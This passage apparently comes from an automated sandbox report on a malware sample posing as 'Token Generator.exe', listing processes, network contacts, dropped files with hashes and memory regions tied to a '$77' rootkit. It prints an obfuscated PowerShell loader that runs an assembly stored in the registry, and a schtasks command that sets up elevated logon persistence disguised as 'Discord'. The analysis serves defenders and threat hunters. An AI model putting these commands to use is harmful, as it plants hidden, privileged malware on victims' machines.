untime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,0x20,[ref]$yxgjiOxHND);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6d4fe61d-73d6-454d-b21b-7389d0b4e439}
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | uk2.localto.net | udp |
| GB | 140.238.91.110:6103 | uk2.localto.net | tcp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 52.111.229.19:443 | tcp | |
| GB | 140.238.91.110:6103 | uk2.localto.net | tcp |
Files
memory/4568-0-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_buahprqs.rpa.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4568-10-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/4568-9-0x000002A927510000-0x000002A927532000-memory.dmp
memory/4568-11-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/4568-12-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/4568-13-0x000002A90F130000-0x000002A90F138000-memory.dmp
memory/4568-14-0x000002A947A70000-0x000002A947F0E000-memory.dmp
memory/3332-24-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/3332-25-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/3332-26-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/3332-27-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
memory/3332-30-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | eb15ee5741b379245ca8549cb0d4ecf8 |
| SHA1 | 3555273945abda3402674aea7a4bff65eb71a783 |
| SHA256 | b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636 |
| SHA512 | 1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4 |
C:\Users\Admin\AppData\Roaming\startup_str_520.vbs
| MD5 | ad41673e76bc43131e958f4706b4e25d |
| SHA1 | 0f4449fa9e177328931dba068bc22739d553fcb9 |
| SHA256 | b09f12cd88f173a0e3a759b34d3defd5277a87e73af643a19a5af5d3b41bef35 |
| SHA512 | ff7f216d09a67c3dc371b06288c1e9594741f8bee3cdc895bca9a9d25eba7909b7954f1155d829ea0861adbca1c4b62f5eb606160a18de7fbb672e233045e5d1 |
C:\Users\Admin\AppData\Roaming\startup_str_520.bat
| MD5 | e984ebea899379a8c0a47f9308c7370b |
| SHA1 | 863330006bef4c55a1bc79771ae989dc0412f717 |
| SHA256 | 9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b |
| SHA512 | 70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975 |
memory/1776-52-0x00000117FD2D0000-0x00000117FD5F4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
| MD5 | 6d2ad4ada4961027832e557db06fc08d |
| SHA1 | 816018499f5e291850d7dd2a0d15c914e5607630 |
| SHA256 | 139ce0f6ed1d745a6776f831c641b2b30bb8d48ecd9c198a0b4bd8489899f60e |
| SHA512 | 1d99985c99fa16f712eee5604279463e18e77532e7a1586651178685ef38ba25b099c393edc44f2703d7e9f4ce7596b86ba3d9f0e00119e13474816a2186f241 |
memory/1696-63-0x0000000000900000-0x0000000000C24000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Install.exe
| MD5 | b51552b77057c2405f73bbbf9c89234a |
| SHA1 | 4793adbba023f90d2d2ad0ec55199c56de815224 |
| SHA256 | 720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0 |
| SHA512 | 564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66 |
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
| MD5 | 0e9ccd796e251916133392539572a374 |
| SHA1 | eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204 |
| SHA256 | c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221 |
| SHA512 | e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d |
memory/3400-80-0x000000001C560000-0x000000001C5B0000-memory.dmp
memory/3400-81-0x000000001C670000-0x000000001C722000-memory.dmp
memory/3400-92-0x000000001C5F0000-0x000000001C602000-memory.dmp
memory/3400-93-0x000000001CD80000-0x000000001CDBC000-memory.dmp
memory/3748-94-0x000001E8E0D40000-0x000001E8E0D6A000-memory.dmp
memory/3748-95-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp
memory/3748-96-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp
memory/3024-102-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-100-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-99-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-98-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-97-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-107-0x0000000140000000-0x0000000140008000-memory.dmp
memory/3024-106-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp
memory/3024-105-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp
memory/716-158-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp
memory/716-157-0x00000234B8290000-0x00000234B82BA000-memory.dmp
memory/716-152-0x00000234B8290000-0x00000234B82BA000-memory.dmp
memory/480-148-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp
memory/480-147-0x0000018C78210000-0x0000018C7823A000-memory.dmp
memory/480-142-0x0000018C78210000-0x0000018C7823A000-memory.dmp
memory/992-138-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp
memory/992-137-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp
memory/992-132-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp
memory/692-128-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp
memory/692-127-0x000001536E570000-0x000001536E59A000-memory.dmp
memory/692-122-0x000001536E570000-0x000001536E59A000-memory.dmp
memory/636-118-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp
memory/636-117-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp
memory/636-112-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp
memory/636-111-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp
memory/636-110-0x000001CC68CC0000-0x000001CC68CE5000-memory.dmp
memory/4568-732-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp
memory/4568-733-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
| MD5 | ff78083b672a56a3981c1453f7eb4b4c |
| SHA1 | 4953210d5a3e6ed72a8f259288ad9aca47ad1278 |
| SHA256 | ccd74c04d87f2cd7d6d30a2f55e6efc644f12ef4fc3dee71d7518a6e9117558c |
| SHA512 | 17a99eaf95a887ccb57332650397d77a7a1b1452b179f7452c07fbfeba9c4d69505adedb2413007869496075ef1569f2da28ac569cb772e0f90d6a59ad5b2afc |
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
| MD5 | 927a161f3652533ce1bf9200b563305e |
| SHA1 | 961dd03f67bbc328f1d436ae41e613e7c07d339b |
| SHA256 | f51e58a04b87b80653c3ad8430799ebdaf6dfc93687ce62b56f4fe529480bc69 |
| SHA512 | 4f75142bd13594581a8c0350fe98b9ed77eb83681de9d2a936f687b15cc7bc8c38566a7ba76890666bd889fbf9222b71bb63288e5b5f16989e13b8ca9184d02f |